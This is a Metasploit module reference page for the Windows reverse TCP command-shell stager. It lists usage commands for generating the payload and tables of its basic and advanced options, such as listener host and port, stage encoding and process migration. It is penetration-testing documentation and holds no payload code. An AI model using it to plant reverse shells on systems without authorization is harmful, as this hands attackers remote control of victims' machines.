Windows Command Shell, Reverse TCP Stager - Metasploit


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Module Overview

Name: Windows Command Shell, Reverse TCP Stager
Module: payload/windows/shell/reverse_tcp
Source code: modules/payloads/stagers/windows/reverse_tcp.rb
Disclosure date: -
Last modification time: 2020-09-22 02:56:51 +0000
Supported architecture(s): x86
Supported platform(s): Windows
Target service / protocol: -
Target network port(s): -
List of CVEs: -

Spawn a piped command shell (staged). Connect back to the attacker

Module Ranking and Traits

Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage

msf > use payload/windows/shell/reverse_tcp
msf payload(reverse_tcp) > show options
    ... show and set options ...
msf payload(reverse_tcp) > generate

To learn how to generate payload/windows/shell/reverse_tcp with msfvenom, please read this.

Required Options

  • LHOST: The listen address (an interface may be specified)

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Msfconsole Usage

Here is how the windows/shell/reverse_tcp payload looks in the msfconsole:

msf6 > use payload/windows/shell/reverse_tcp

msf6 payload(windows/shell/reverse_tcp) > show info

       Name: Windows Command Shell, Reverse TCP Stager
     Module: payload/windows/shell/reverse_tcp
   Platform: Windows
       Arch: x86
Needs Admin: No
 Total size: 296
       Rank: Normal

Provided by:
  spoonm <spoonm@no$email.com>
  sf <[email protected]>
  hdm <[email protected]>
  skape <[email protected]>

Basic options:
Name      Current Setting  Required  Description
----      ---------------  --------  -----------
EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST                      yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Description:
  Spawn a piped command shell (staged). Connect back to the attacker

Module Options

This is a complete list of options available in the windows/shell/reverse_tcp payload:

msf6 payload(windows/shell/reverse_tcp) > show options

Module options (payload/windows/shell/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST                      yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Advanced Options

Here is a complete list of advanced options supported by the windows/shell/reverse_tcp payload:

msf6 payload(windows/shell/reverse_tcp) > show advanced

Module advanced options (payload/windows/shell/reverse_tcp):

   Name                        Current Setting  Required  Description
   ----                        ---------------  --------  -----------
   AutoRunScript                                no        A script to run automatically on session creation.
   AutoVerifySession           true             yes       Automatically verify and drop invalid sessions
   CommandShellCleanupCommand                   no        A command to run before the session is closed
   CreateSession               true             no        Create a new session for every successful login
   EnableStageEncoding         false            no        Encode the second stage payload
   InitialAutoRunScript                         no        An initial script to run on session creation (before AutoRunScript)
   PayloadBindPort                              no        Port to bind reverse tcp socket to on target system.
   PayloadUUIDName                              no        A human-friendly name to reference this unique payload (requires tracking)
   PayloadUUIDRaw                               no        A hex string representing the raw 8-byte PUID value for the UUID
   PayloadUUIDSeed                              no        A string to use when generating the payload UUID (deterministic)
   PayloadUUIDTracking         false            yes       Whether or not to automatically register generated UUIDs
   PingbackRetries             0                yes       How many additional successful pingbacks
   PingbackSleep               30               yes       Time (in seconds) to sleep between pingbacks
   PrependMigrate              false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                           no        Process to spawn and run shellcode in
   ReverseAllowProxy           false            yes       Allow reverse tcp even with Proxies specified. Connect back will NOT go through proxy but directly to LHOST
   ReverseListenerBindAddress                   no        The specific IP address to bind to on the local system
   ReverseListenerBindPort                      no        The port to bind to on the local system if different from LPORT
   ReverseListenerComm                          no        The specific communication channel to use for this listener
   ReverseListenerThreaded     false            yes       Handle every connection in a new thread (experimental)
   StageEncoder                                 no        Encoder to use if EnableStageEncoding is set
   StageEncoderSaveRegisters                    no        Additional registers to preserve in the staged payload if EnableStageEncoding is set
   StageEncodingFallback       true             no        Fallback to no encoding if the selected StageEncoder is not compatible
   StagerRetryCount            10               no        The number of times the stager should retry if the first connect fails
   StagerRetryWait             5                no        Number of seconds to wait for the stager between reconnect attempts
   VERBOSE                     false            no        Enable detailed status messages
   WORKSPACE                                    no        Specify the workspace for this module

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See Also

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Authors

  • spoonm
  • sf
  • hdm
  • skape

Version

This page has been produced using Metasploit Framework version 6.1.24-dev. For more modules, visit the Metasploit Module Library.

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